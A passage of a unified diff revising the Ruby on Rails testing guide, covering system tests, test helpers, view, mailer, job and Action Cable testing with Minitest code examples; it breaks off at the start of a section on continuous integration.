+index page. This will redirect the browser to `/articles/new`.
+
+Then the test will fill in the title and body of the article with the specified
+text. Once the fields are filled in, "Create Article" is clicked on which will
+send a POST request to `/articles/create`.
+
+This redirects the user back to the articles index page, and there it is
+asserted that the text from the new article's title is on the articles index
+page.
+
+#### Testing for Multiple Screen Sizes
+
+If you want to test for mobile sizes in addition to testing for desktop, you can
+create another class that inherits from `ActionDispatch::SystemTestCase` and use
+it in your test suite. In this example, a file called
+`mobile_system_test_case.rb` is created in the `/test` directory with the
+following configuration.
+
+```ruby
+require "test_helper"
+
+class MobileSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :chrome, screen_size: [375, 667]
+end
+```
+
+To use this configuration, create a test inside `test/system` that inherits from
+`MobileSystemTestCase`. Now you can test your app using multiple different
+configurations.
+
+```ruby
+require "mobile_system_test_case"
+
+class PostsTest < MobileSystemTestCase
+  test "visiting the index" do
+    visit posts_url
+    assert_selector "h1", text: "Posts"
+  end
+end
+```
+
+#### Capybara Assertions
+
+Here's an extract of the assertions provided by
+[`Capybara`](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions)
+which can be used in system tests.
+
+| Assertion                                                        | Purpose |
+| ---------------------------------------------------------------- | ------- |
+| `assert_button(locator = nil, **options, &optional_filter_block)`| Checks if the page has a button with the given text, value or id. |
+| `assert_current_path(string, **options)`                         | Asserts that the page has the given path. |
+| `assert_field(locator = nil, **options, &optional_filter_block)` | Checks if the page has a form field with the given label, name or id. |
+| `assert_link(locator = nil, **options, &optional_filter_block)`  | Checks if the page has a link with the given text or id. |
+| `assert_selector(*args, &optional_filter_block)`                 | Asserts that a given selector is on the page. |
+| `assert_table(locator = nil, **options, &optional_filter_block`  | Checks if the page has a table with the given id or caption. |
+| `assert_text(type, text, **options)`                             | Asserts that the page has the given text content. |
+
+
+#### Screenshot Helper
+
+The
+[`ScreenshotHelper`](https://api.rubyonrails.org/classes/ActionDispatch/SystemTesting/TestHelpers/ScreenshotHelper.html)
+is a helper designed to capture screenshots of your tests. This can be helpful
+for viewing the browser at the point a test failed, or to view screenshots later
+for debugging.
+
+Two methods are provided: `take_screenshot` and `take_failed_screenshot`.
+`take_failed_screenshot` is automatically included in `before_teardown` inside
+Rails.
+
+The `take_screenshot` helper method can be included anywhere in your tests to
+take a screenshot of the browser.
+
+#### Taking It Further
+
+System testing is similar to [integration testing](#integration-testing) in that
+it tests the user's interaction with your controller, model, and view, but
+system testing tests your application as if a real user were using it. With
+system tests, you can test anything that a user would do in your application
+such as commenting, deleting articles, publishing draft articles, etc.
+
+Test Helpers
+------------
+
+To avoid code duplication, you can add your own test helpers. Here is an example
+for signing in:
+
+```ruby
+# test/test_helper.rb
+
+module SignInHelper
+  def sign_in_as(user)
+    post sign_in_url(email: user.email, password: user.password)
+  end
+end
+
+class ActionDispatch::IntegrationTest
+  include SignInHelper
+end
+```
+
+```ruby
+require "test_helper"
+
+class ProfileControllerTest < ActionDispatch::IntegrationTest
+  test "should show profile" do
+    # helper is now reusable from any controller test case
+    sign_in_as users(:david)
+
+    get profile_url
+    assert_response :success
+  end
+end
+```
+
+### Using Separate Files
+
+If you find your helpers are cluttering `test_helper.rb`, you can extract them
+into separate files. A good place to store them is `test/lib` or
+`test/test_helpers`.
+
+```ruby
+# test/test_helpers/multiple_assertions.rb
+module MultipleAssertions
+  def assert_multiple_of_forty_two(number)
+    assert (number % 42 == 0), "expected #{number} to be a multiple of 42"
   end
 end
 ```
 
-Moreover, since the test class extends from `ActionView::TestCase`, you have
-access to Rails' helper methods such as `link_to` or `pluralize`.
+These helpers can then be explicitly required and included as needed:
+
+```ruby
+require "test_helper"
+require "test_helpers/multiple_assertions"
+
+class NumberTest < ActiveSupport::TestCase
+  include MultipleAssertions
+
+  test "420 is a multiple of 42" do
+    assert_multiple_of_forty_two 420
+  end
+end
+```
+
+They can also continue to be included directly into the relevant parent classes:
+
+```ruby
+# test/test_helper.rb
+require "test_helpers/sign_in_helper"
+
+class ActionDispatch::IntegrationTest
+  include SignInHelper
+end
+```
+
+### Eagerly Requiring Helpers
+
+You may find it convenient to eagerly require helpers in `test_helper.rb` so
+your test files have implicit access to them. This can be accomplished using
+globbing, as follows
+
+```ruby
+# test/test_helper.rb
+Dir[Rails.root.join("test", "test_helpers", "**", "*.rb")].each { |file| require file }
+```
+
+This has the downside of increasing the boot-up time, as opposed to manually
+requiring only the necessary files in your individual tests.
+
+Testing Routes
+--------------
+
+Like everything else in your Rails application, you can test your routes. Route
+tests are stored in `test/controllers/` or are part of controller tests. If your
+application has complex routes, Rails provides a number of useful helpers to
+test them.
+
+For more information on routing assertions available in Rails, see the API
+documentation for
+[`ActionDispatch::Assertions::RoutingAssertions`](https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html).
+
+Testing Views
+-------------
+
+Testing the response to your request by asserting the presence of key HTML
+elements and their content is one way to test the views of your application.
+Like route tests, view tests are stored in `test/controllers/` or are part of
+controller tests.
+
+### Querying the HTML
+
+Methods like `assert_dom` and `assert_dom_equal` allow you to query HTML
+elements of the response by using a simple yet powerful syntax.
+
+`assert_dom` is an assertion that will return true if matching elements are
+found. For example, you could verify that the page title is "Welcome to the
+Rails Testing Guide" as follows:
+
+```ruby
+assert_dom "title", "Welcome to the Rails Testing Guide"
+```
+
+You can also use nested `assert_dom` blocks for deeper investigation.
+
+In the following example, the inner `assert_dom` for `li.menu_item` runs within
+the collection of elements selected by the outer block:
+
+```ruby
+assert_dom "ul.navigation" do
+  assert_dom "li.menu_item"
+end
+```
+
+A collection of selected elements may also be iterated through so that
+`assert_dom` may be called separately for each element. For example, if the
+response contains two ordered lists, each with four nested list elements then
+the following tests will both pass.
+
+```ruby
+assert_dom "ol" do |elements|
+  elements.each do |element|
+    assert_dom element, "li", 4
+  end
+end
+
+assert_dom "ol" do
+  assert_dom "li", 8
+end
+```
+
+The `assert_dom_equal` method compares two HTML strings to see if they are
+equal:
+
+```ruby
+assert_dom_equal '<a href="http://www.further-reading.com">Read more</a>',
+  link_to("Read more", "http://www.further-reading.com")
+```
+
+For more advanced usage, refer to the [`rails-dom-testing`
+documentation](https://github.com/rails/rails-dom-testing).
+
+In order to integrate with [rails-dom-testing][], tests that inherit from
+`ActionView::TestCase` declare a `document_root_element` method that returns the
+rendered content as an instance of a
+[Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html):
+
+```ruby
+test "renders a link to itself" do
+  article = Article.create! title: "Hello, world"
+
+  render "articles/article", article: article
+  anchor = document_root_element.at("a")
+
+  assert_equal article.name, anchor.text
+  assert_equal article_url(article), anchor["href"]
+end
+```
+
+If your application depends on [Nokogiri >=
+1.14.0](https://github.com/sparklemotion/nokogiri/releases/tag/v1.14.0) or
+higher, and [minitest >=
+5.18.0](https://github.com/minitest/minitest/blob/v5.18.0/History.rdoc#5180--2023-03-04-),
+`document_root_element` supports [Ruby's Pattern
+Matching](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html):
+
+```ruby
+test "renders a link to itself" do
+  article = Article.create! title: "Hello, world"
+
+  render "articles/article", article: article
+  anchor = document_root_element.at("a")
+  url = article_url(article)
+
+  assert_pattern do
+    anchor => { content: "Hello, world", attributes: [{ name: "href", value: url }] }
+  end
+end
+```
+
+If you'd like to access the same [Capybara-powered
+Assertions](https://rubydoc.info/github/teamcapybara/capybara/master/Capybara/Minitest/Assertions)
+that your [System Testing](#system-testing) tests utilize, you can define a base
+class that inherits from `ActionView::TestCase` and transforms the
+`document_root_element` into a `page` method:
+
+```ruby
+# test/view_partial_test_case.rb
+
+require "test_helper"
+require "capybara/minitest"
+
+class ViewPartialTestCase < ActionView::TestCase
+  include Capybara::Minitest::Assertions
+
+  def page
+    Capybara.string(rendered)
+  end
+end
+
+# test/views/article_partial_test.rb
+
+require "view_partial_test_case"
+
+class ArticlePartialTest < ViewPartialTestCase
+  test "renders a link to itself" do
+    article = Article.create! title: "Hello, world"
+
+    render "articles/article", article: article
+
+    assert_link article.title, href: article_url(article)
+  end
+end
+```
+
+More information about the assertions included by Capybara can be found in the
+[Capybara Assertions](#capybara-assertions) section.
+
+### Parsing View Content
+
+Starting in Action View version 7.1, the `rendered` helper method returns an
+object capable of parsing the view partial's rendered content.
+
+To transform the `String` content returned by the `rendered` method into an
+object, define a parser by calling
+[`register_parser`](https://api.rubyonrails.org/classes/ActionView/TestCase/Behavior/ClassMethods.html#method-i-register_parser).
+Calling `register_parser :rss` defines a `rendered.rss` helper method. For
+example, to parse rendered [RSS content][] into an object with `rendered.rss`,
+register a call to `RSS::Parser.parse`:
+
+```ruby
+register_parser :rss, -> rendered { RSS::Parser.parse(rendered) }
+
+test "renders RSS" do
+  article = Article.create!(title: "Hello, world")
+
+  render formats: :rss, partial: article
+
+  assert_equal "Hello, world", rendered.rss.items.last.title
+end
+```
+
+By default, `ActionView::TestCase` defines a parser for:
+
+* `:html` - returns an instance of
+  [Nokogiri::XML::Node](https://nokogiri.org/rdoc/Nokogiri/XML/Node.html)
+* `:json` - returns an instance of
+  [ActiveSupport::HashWithIndifferentAccess](https://api.rubyonrails.org/classes/ActiveSupport/HashWithIndifferentAccess.html)
+
+```ruby
+test "renders HTML" do
+  article = Article.create!(title: "Hello, world")
+
+  render partial: "articles/article", locals: { article: article }
+
+  assert_pattern { rendered.html.at("main h1") => { content: "Hello, world" } }
+end
+
+test "renders JSON" do
+  article = Article.create!(title: "Hello, world")
+
+  render formats: :json, partial: "articles/article", locals: { article: article }
+
+  assert_pattern { rendered.json => { title: "Hello, world" } }
+end
+```
+
+[rails-dom-testing]: https://github.com/rails/rails-dom-testing
+[RSS content]: https://www.rssboard.org/rss-specification
+
+### Additional View-Based Assertions
+
+There are more assertions that are primarily used in testing views:
+
+| Assertion                                                 | Purpose |
+| --------------------------------------------------------- | ------- |
+| `assert_dom_email`                                     | Allows you to make assertions on the body of an e-mail. |
+| `assert_dom_encoded`                                   | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
+
+Here's an example of using `assert_dom_email`:
+
+```ruby
+assert_dom_email do
+  assert_dom "small", "Please click the 'Unsubscribe' link if you want to opt-out."
+end
+```
+
+### Testing View Partials
+
+[Partial](layouts_and_rendering.html#using-partials) templates - usually called
+"partials" - can break the rendering process into more manageable chunks. With
+partials, you can extract sections of code from your views to separate files and
+reuse them in multiple places.
+
+View tests provide an opportunity to test that partials render content the way
+you expect. View partial tests can be stored in `test/views/` and inherit from
+`ActionView::TestCase`.
+
+To render a partial, call `render` like you would in a template. The content is
+available through the test-local `rendered` method:
+
+```ruby
+class ArticlePartialTest < ActionView::TestCase
+  test "renders a link to itself" do
+    article = Article.create! title: "Hello, world"
+
+    render "articles/article", article: article
+
+    assert_includes rendered, article.title
+  end
+end
+```
+
+Tests that inherit from `ActionView::TestCase` also have access to
+[`assert_dom`](#testing-views) and the [other additional view-based
+assertions](#additional-view-based-assertions) provided by
+[rails-dom-testing][]:
+
+```ruby
+test "renders a link to itself" do
+  article = Article.create! title: "Hello, world"
+
+  render "articles/article", article: article
+
+  assert_dom "a[href=?]", article_url(article), text: article.title
+end
+```
+
+### Testing View Helpers
+
+A helper is a module where you can define methods which are available in your
+views.
+
+In order to test helpers, all you need to do is check that the output of the
+helper method matches what you'd expect. Tests related to the helpers are
+located under the `test/helpers` directory.
+
+Given we have the following helper:
+
+```ruby
+module UsersHelper
+  def link_to_user(user)
+    link_to "#{user.first_name} #{user.last_name}", user
+  end
+end
+```
+
+We can test the output of this method like this:
+
+```ruby
+class UsersHelperTest < ActionView::TestCase
+  test "should return the user's full name" do
+    user = users(:david)
+
+    assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user)
+  end
+end
+```
+
+Moreover, since the test class extends from `ActionView::TestCase`, you have
+access to Rails' helper methods such as `link_to` or `pluralize`.
+
+Testing Mailers
+---------------
+
+Your mailer classes - like every other part of your Rails application - should
+be tested to ensure that they are working as expected.
+
+The goals of testing your mailer classes are to ensure that:
+
+* emails are being processed (created and sent)
+* the email content is correct (subject, sender, body, etc)
+* the right emails are being sent at the right times
+
+There are two aspects of testing your mailer, the unit tests and the functional
+tests. In the unit tests, you run the mailer in isolation with tightly
+controlled inputs and compare the output to a known value (a
+[fixture](#fixtures)). In the functional tests you don't so much test the
+details produced by the mailer; instead, you test that the controllers and
+models are using the mailer in the right way. You test to prove that the right
+email was sent at the right time.
+
+### Unit Testing
+
+In order to test that your mailer is working as expected, you can use unit tests
+to compare the actual results of the mailer with pre-written examples of what
+should be produced.
+
+#### Mailer Fixtures
+
+For the purposes of unit testing a mailer, fixtures are used to provide an
+example of how the output _should_ look. Because these are example emails, and
+not Active Record data like the other fixtures, they are kept in their own
+subdirectory apart from the other fixtures. The name of the directory within
+`test/fixtures` directly corresponds to the name of the mailer. So, for a mailer
+named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer`
+directory.
+
+If you generated your mailer, the generator does not create stub fixtures for
+the mailers actions. You'll have to create those files yourself as described
+above.
+
+#### The Basic Test Case
+
+Here's a unit test to test a mailer named `UserMailer` whose action `invite` is
+used to send an invitation to a friend:
+
+```ruby
+require "test_helper"
+
+class UserMailerTest < ActionMailer::TestCase
+  test "invite" do
+    # Create the email and store it for further assertions
+    email = UserMailer.create_invite("me@example.com",
+                                     "friend@example.com", Time.now)
+
+    # Send the email, then test that it got queued
+    assert_emails 1 do
+      email.deliver_now
+    end
+
+    # Test the body of the sent email contains what we expect it to
+    assert_equal ["me@example.com"], email.from
+    assert_equal ["friend@example.com"], email.to
+    assert_equal "You have been invited by me@example.com", email.subject
+    assert_equal read_fixture("invite").join, email.body.to_s
+  end
+end
+```
+
+In the test the email is created and the returned object is stored in the
+`email` variable. The first assert checks it was sent, then, in the second batch
+of assertions, the email contents are checked. The helper `read_fixture` is used
+to read in the content from this file.
+
+NOTE: `email.body.to_s` is present when there's only one (HTML or text) part
+present. If the mailer provides both, you can test your fixture against specific
+parts with `email.text_part.body.to_s` or `email.html_part.body.to_s`.
+
+Here's the content of the `invite` fixture:
+
+```
+Hi friend@example.com,
+
+You have been invited.
 
-Testing Your Mailers
---------------------
+Cheers!
+```
 
-Testing mailer classes requires some specific tools to do a thorough job.
+When testing multi-part emails with both HTML *and* text parts, use the
+[`assert_part`](https://api.rubyonrails.org/classes/ActionMailer/TestCase/Behavior.html#method-i-assert_part)
+assertion. When testing emails with HTML parts, use the assertions provided by [Rails::Dom::Testing](https://github.com/rails/rails-dom-testing).
 
-### Keeping the Postman in Check
+```ruby
+require "test_helper"
 
-Your mailer classes - like every other part of your Rails application - should be tested to ensure that they are working as expected.
+class UserMailerTest < ActionMailer::TestCase
+  test "invite" do
+    # Create the email and store it for further assertions
+    email = UserMailer.create_invite("me@example.com",
+                                     "friend@example.com", Time.now)
+
+    # Test the body of the sent email's text part
+    assert_part :text, email do |text|
+      assert_includes text, "Hi friend@example.com"
+      assert_includes text, "You have been invited."
+      assert_includes text, "Cheers!"
+    end
 
-The goals of testing your mailer classes are to ensure that:
+    # Test the body of the sent email's HTML part
+    assert_part :html, email do |html|
+      assert_dom html, "h1", text: "Hi friend@example.com"
+      assert_dom html, "p", text: "You have been invited."
+      assert_dom html, "p", text: "Cheers!"
+    end
+  end
+end
+```
 
-* emails are being processed (created and sent)
-* the email content is correct (subject, sender, body, etc)
-* the right emails are being sent at the right times
+#### Configuring the Delivery Method for Test
 
-#### From All Sides
+The line `ActionMailer::Base.delivery_method = :test` in
+`config/environments/test.rb` sets the delivery method to test mode so that the
+email will not actually be delivered (useful to avoid spamming your users while
+testing). Instead, the email will be appended to an array
+(`ActionMailer::Base.deliveries`).
 
-There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
+NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in
+`ActionMailer::TestCase` and `ActionDispatch::IntegrationTest` tests. If you
+want to have a clean slate outside these test cases, you can reset it manually
+with: `ActionMailer::Base.deliveries.clear`
 
-### Unit Testing
+#### Testing Enqueued Emails
 
-In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
+You can use the `assert_enqueued_email_with` assertion to confirm that the email
+has been enqueued with all of the expected mailer method arguments and/or
+parameterized mailer parameters. This allows you to match any emails that have
+been enqueued with the `deliver_later` method.
 
-#### Revenge of the Fixtures
+As with the basic test case, we create the email and store the returned object
+in the `email` variable. The following examples include variations of passing
+arguments and/or parameters.
 
-For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory.
+This example will assert that the email has been enqueued with the correct
+arguments:
 
-When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator, you'll have to create those files yourself.
+```ruby
+require "test_helper"
 
-#### The Basic Test Case
+class UserMailerTest < ActionMailer::TestCase
+  test "invite" do
+    # Create the email and store it for further assertions
+    email = UserMailer.create_invite("me@example.com", "friend@example.com")
+
+    # Test that the email got enqueued with the correct arguments
+    assert_enqueued_email_with UserMailer, :create_invite, args: ["me@example.com", "friend@example.com"] do
+      email.deliver_later
+    end
+  end
+end
+```
 
-Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an `invite` action.
+This example will assert that a mailer has been enqueued with the correct mailer
+method named arguments by passing a hash of the arguments as `args`:
 
 ```ruby
-require 'test_helper'
+require "test_helper"
 
 class UserMailerTest < ActionMailer::TestCase
   test "invite" do
     # Create the email and store it for further assertions
-    email = UserMailer.create_invite('me@example.com',
-                                     'friend@example.com', Time.now)
+    email = UserMailer.create_invite(from: "me@example.com", to: "friend@example.com")
 
-    # Send the email, then test that it got queued
-    assert_emails 1 do
-      email.deliver_now
+    # Test that the email got enqueued with the correct named arguments
+    assert_enqueued_email_with UserMailer, :create_invite,
+    args: [{ from: "me@example.com", to: "friend@example.com" }] do
+      email.deliver_later
     end
-
-    # Test the body of the sent email contains what we expect it to
-    assert_equal ['me@example.com'], email.from
-    assert_equal ['friend@example.com'], email.to
-    assert_equal 'You have been invited by me@example.com', email.subject
-    assert_equal read_fixture('invite').join, email.body.to_s
   end
 end
 ```
 
-In the test we send the email and store the returned object in the `email`
-variable. We then ensure that it was sent (the first assert), then, in the
-second batch of assertions, we ensure that the email does indeed contain what we
-expect. The helper `read_fixture` is used to read in the content from this file.
+This example will assert that a parameterized mailer has been enqueued with the
+correct parameters and arguments. The mailer parameters are passed as `params`
+and the mailer method arguments as `args`:
 
-Here's the content of the `invite` fixture:
+```ruby
+require "test_helper"
+
+class UserMailerTest < ActionMailer::TestCase
+  test "invite" do
+    # Create the email and store it for further assertions
+    email = UserMailer.with(all: "good").create_invite("me@example.com", "friend@example.com")
 
+    # Test that the email got enqueued with the correct mailer parameters and arguments
+    assert_enqueued_email_with UserMailer, :create_invite,
+    params: { all: "good" }, args: ["me@example.com", "friend@example.com"] do
+      email.deliver_later
+    end
+  end
+end
 ```
-Hi friend@example.com,
 
-You have been invited.
+This example shows an alternative way to test that a parameterized mailer has
+been enqueued with the correct parameters:
 
-Cheers!
-```
+```ruby
+require "test_helper"
 
-This is the right time to understand a little more about writing tests for your
-mailers. The line `ActionMailer::Base.delivery_method = :test` in
-`config/environments/test.rb` sets the delivery method to test mode so that
-email will not actually be delivered (useful to avoid spamming your users while
-testing) but instead it will be appended to an array
-(`ActionMailer::Base.deliveries`).
+class UserMailerTest < ActionMailer::TestCase
+  test "invite" do
+    # Create the email and store it for further assertions
+    email = UserMailer.with(to: "friend@example.com").create_invite
 
-NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in
-`ActionMailer::TestCase` and `ActionDispatch::IntegrationTest` tests.
-If you want to have a clean slate outside these test cases, you can reset it
-manually with: `ActionMailer::Base.deliveries.clear`
+    # Test that the email got enqueued with the correct mailer parameters
+    assert_enqueued_email_with UserMailer.with(to: "friend@example.com"), :create_invite do
+      email.deliver_later
+    end
+  end
+end
+```
 
-### Functional Testing
+### Functional and System Testing
 
-Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
+Unit testing allows us to test the attributes of the email while functional and
+system testing allows us to test whether user interactions appropriately trigger
+the email to be delivered. For example, you can check that the invite friend
+operation is sending an email appropriately:
 
 ```ruby
-require 'test_helper'
+# Integration Test
+require "test_helper"
 
-class UserControllerTest < ActionDispatch::IntegrationTest
+class UsersControllerTest < ActionDispatch::IntegrationTest
   test "invite friend" do
-    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
-      post invite_friend_url, params: { email: 'friend@example.com' }
+    # Asserts the difference in the ActionMailer::Base.deliveries
+    assert_emails 1 do
+      post invite_friend_url, params: { email: "friend@example.com" }
     end
-    invite_email = ActionMailer::Base.deliveries.last
+  end
+end
+```
+
+```ruby
+# System Test
+require "test_helper"
+
+class UsersTest < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_chrome
 
-    assert_equal "You have been invited by me@example.com", invite_email.subject
-    assert_equal 'friend@example.com', invite_email.to[0]
-    assert_match(/Hi friend@example.com/, invite_email.body.to_s)
+  test "inviting a friend" do
+    visit invite_users_url
+    fill_in "Email", with: "friend@example.com"
+    assert_emails 1 do
+      click_on "Invite"
+    end
   end
 end
 ```
 
+NOTE: The `assert_emails` method is not tied to a particular deliver method and
+will work with emails delivered with either the `deliver_now` or `deliver_later`
+method. If we explicitly want to assert that the email has been enqueued we can
+use the `assert_enqueued_email_with` ([examples
+above](#testing-enqueued-emails)) or `assert_enqueued_emails` methods. More
+information can be found in the
+[documentation](https://api.rubyonrails.org/classes/ActionMailer/TestHelper.html).
+
 Testing Jobs
 ------------
 
-Since your custom jobs can be queued at different levels inside your application,
-you'll need to test both, the jobs themselves (their behavior when they get enqueued)
-and that other entities correctly enqueue them.
+Jobs can be tested in isolation (focusing on the job's behavior) and in context
+(focusing on the calling code's behavior).
+
+### Testing Jobs in Isolation
 
-### A Basic Test Case
+When you generate a job, an associated test file will also be generated in the
+`test/jobs` directory.
 
-By default, when you generate a job, an associated test will be generated as well
-under the `test/jobs` directory. Here's an example test with a billing job:
+Here is a test you could write for a billing job:
 
 ```ruby
-require 'test_helper'
+require "test_helper"
 
 class BillingJobTest < ActiveJob::TestCase
-  test 'that account is charged' do
-    BillingJob.perform_now(account, product)
+  test "account is charged" do
+    perform_enqueued_jobs do
+      BillingJob.perform_later(account, product)
+    end
     assert account.reload.charged_for?(product)
   end
 end
 ```
 
-This test is pretty simple and only asserts that the job get the work done
-as expected.
+The default queue adapter for tests will not perform jobs until
+[`perform_enqueued_jobs`][] is called. Additionally, it will clear all jobs
+before each test is run so that tests do not interfere with each other.
 
-By default, `ActiveJob::TestCase` will set the queue adapter to `:test` so that
-your jobs are performed inline. It will also ensure that all previously performed
-and enqueued jobs are cleared before any test run so you can safely assume that
-no jobs have already been executed in the scope of each test.
+The test uses `perform_enqueued_jobs` and [`perform_later`][] instead of
+[`perform_now`][] so that if retries are configured, retry failures are caught
+by the test instead of being re-enqueued and ignored.
 
-### Custom Assertions And Testing Jobs Inside Other Components
+[`perform_enqueued_jobs`]:
+    https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html#method-i-perform_enqueued_jobs
+[`perform_later`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later
+[`perform_now`]:
+    https://api.rubyonrails.org/classes/ActiveJob/Execution/ClassMethods.html#method-i-perform_now
 
-Active Job ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for [`ActiveJob::TestHelper`](http://api.rubyonrails.org/classes/ActiveJob/TestHelper.html).
+### Testing Jobs in Context
 
-It's a good practice to ensure that your jobs correctly get enqueued or performed
-wherever you invoke them (e.g. inside your controllers). This is precisely where
-the custom assertions provided by Active Job are pretty useful. For instance,
-within a model:
+It's good practice to test that jobs are correctly enqueued, for example, by a
+controller action. The [`ActiveJob::TestHelper`][] module provides several
+methods that can help with this, such as [`assert_enqueued_with`][].
+
+Here is an example that tests an account model method:
 
 ```ruby
-require 'test_helper'
+require "test_helper"
+
+class AccountTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
 
-class ProductTest < ActiveJob::TestCase
-  test 'billing job scheduling' do
+  test "#charge_for enqueues billing job" do
     assert_enqueued_with(job: BillingJob) do
+      account.charge_for(product)
+    end
+
+    assert_not account.reload.charged_for?(product)
+
+    perform_enqueued_jobs
+
+    assert account.reload.charged_for?(product)
+  end
+end
+```
+
+[`ActiveJob::TestHelper`]:
+    https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html
+[`assert_enqueued_with`]:
+    https://api.rubyonrails.org/classes/ActiveJob/TestHelper.html#method-i-assert_enqueued_with
+
+### Testing that Exceptions are Raised
+
+Testing that your job raises an exception in certain cases can be tricky,
+especially when you have retries configured. The `perform_enqueued_jobs` helper
+fails any test where a job raises an exception, so to have the test succeed when
+the exception is raised you have to call the job's `perform` method directly.
+
+```ruby
+require "test_helper"
+
+class BillingJobTest < ActiveJob::TestCase
+  test "does not charge accounts with insufficient funds" do
+    assert_raises(InsufficientFundsError) do
+      BillingJob.new(empty_account, product).perform
+    end
+    assert_not account.reload.charged_for?(product)
+  end
+end
+```
+
+This method is not recommended in general, as it circumvents some parts of the
+framework, such as argument serialization.
+
+Testing Action Cable
+--------------------
+
+Since Action Cable is used at different levels inside your application, you'll
+need to test both the channels, connection classes themselves, and that other
+entities broadcast correct messages.
+
+### Connection Test Case
+
+By default, when you generate a new Rails application with Action Cable, a test
+for the base connection class (`ApplicationCable::Connection`) is generated as
+well under `test/channels/application_cable` directory.
+
+Connection tests aim to check whether a connection's identifiers get assigned
+properly or that any improper connection requests are rejected. Here is an
+example:
+
+```ruby
+class ApplicationCable::ConnectionTest < ActionCable::Connection::TestCase
+  test "connects with params" do
+    # Simulate a connection opening by calling the `connect` method
+    connect params: { user_id: 42 }
+
+    # You can access the Connection object via `connection` in tests
+    assert_equal connection.user_id, "42"
+  end
+
+  test "rejects connection without params" do
+    # Use `assert_reject_connection` matcher to verify that
+    # connection is rejected
+    assert_reject_connection { connect }
+  end
+end
+```
+
+You can also specify request cookies the same way you do in integration tests:
+
+```ruby
+test "connects with cookies" do
+  cookies.signed[:user_id] = "42"
+
+  connect
+
+  assert_equal connection.user_id, "42"
+end
+```
+
+See the API documentation for
+[`ActionCable::Connection::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Connection/TestCase.html)
+for more information.
+
+### Channel Test Case
+
+By default, when you generate a channel, an associated test will be generated as
+well under the `test/channels` directory. Here's an example test with a chat
+channel:
+
+```ruby
+require "test_helper"
+
+class ChatChannelTest < ActionCable::Channel::TestCase
+  test "subscribes and stream for room" do
+    # Simulate a subscription creation by calling `subscribe`
+    subscribe room: "15"
+
+    # You can access the Channel object via `subscription` in tests
+    assert subscription.confirmed?
+    assert_has_stream "chat_15"
+  end
+end
+```
+
+This test is pretty simple and only asserts that the channel subscribes the
+connection to a particular stream.
+
+You can also specify the underlying connection identifiers. Here's an example
+test with a web notifications channel:
+
+```ruby
+require "test_helper"
+
+class WebNotificationsChannelTest < ActionCable::Channel::TestCase
+  test "subscribes and stream for user" do
+    stub_connection current_user: users(:john)
+
+    subscribe
+
+    assert_has_stream_for users(:john)
+  end
+end
+```
+
+See the API documentation for
+[`ActionCable::Channel::TestCase`](https://api.rubyonrails.org/classes/ActionCable/Channel/TestCase.html)
+for more information.
+
+### Custom Assertions And Testing Broadcasts Inside Other Components
+
+Action Cable ships with a bunch of custom assertions that can be used to lessen
+the verbosity of tests. For a full list of available assertions, see the API
+documentation for
+[`ActionCable::TestHelper`](https://api.rubyonrails.org/classes/ActionCable/TestHelper.html).
+
+It's a good practice to ensure that the correct message has been broadcasted
+inside other components (e.g. inside your controllers). This is precisely where
+the custom assertions provided by Action Cable are pretty useful. For instance,
+within a model:
+
+```ruby
+require "test_helper"
+
+class ProductTest < ActionCable::TestCase
+  test "broadcast status after charge" do
+    assert_broadcast_on("products:#{product.id}", type: "charged") do
       product.charge(account)
     end
   end
 end
 ```
 
+If you want to test the broadcasting made with `Channel.broadcast_to`, you
+should use `Channel.broadcasting_for` to generate an underlying stream name:
+
+```ruby
+# app/jobs/chat_relay_job.rb
+class ChatRelayJob < ApplicationJob
+  def perform(room, message)
+    ChatChannel.broadcast_to room, text: message
+  end
+end
+```
+
+```ruby
+# test/jobs/chat_relay_job_test.rb
+require "test_helper"
+
+class ChatRelayJobTest < ActiveJob::TestCase
+  include ActionCable::TestHelper
+
+  test "broadcast message to room" do
+    room = rooms(:all)
+
+    assert_broadcast_on(ChatChannel.broadcasting_for(room), text: "Hi!") do
+      ChatRelayJob.perform_now(room, "Hi!")
+    end
+  end
+end
+```
+
+Running tests in Continuous Integration (CI)
+--------------------------------------------
+
+Continuous Integration (CI) is a development practice where changes are
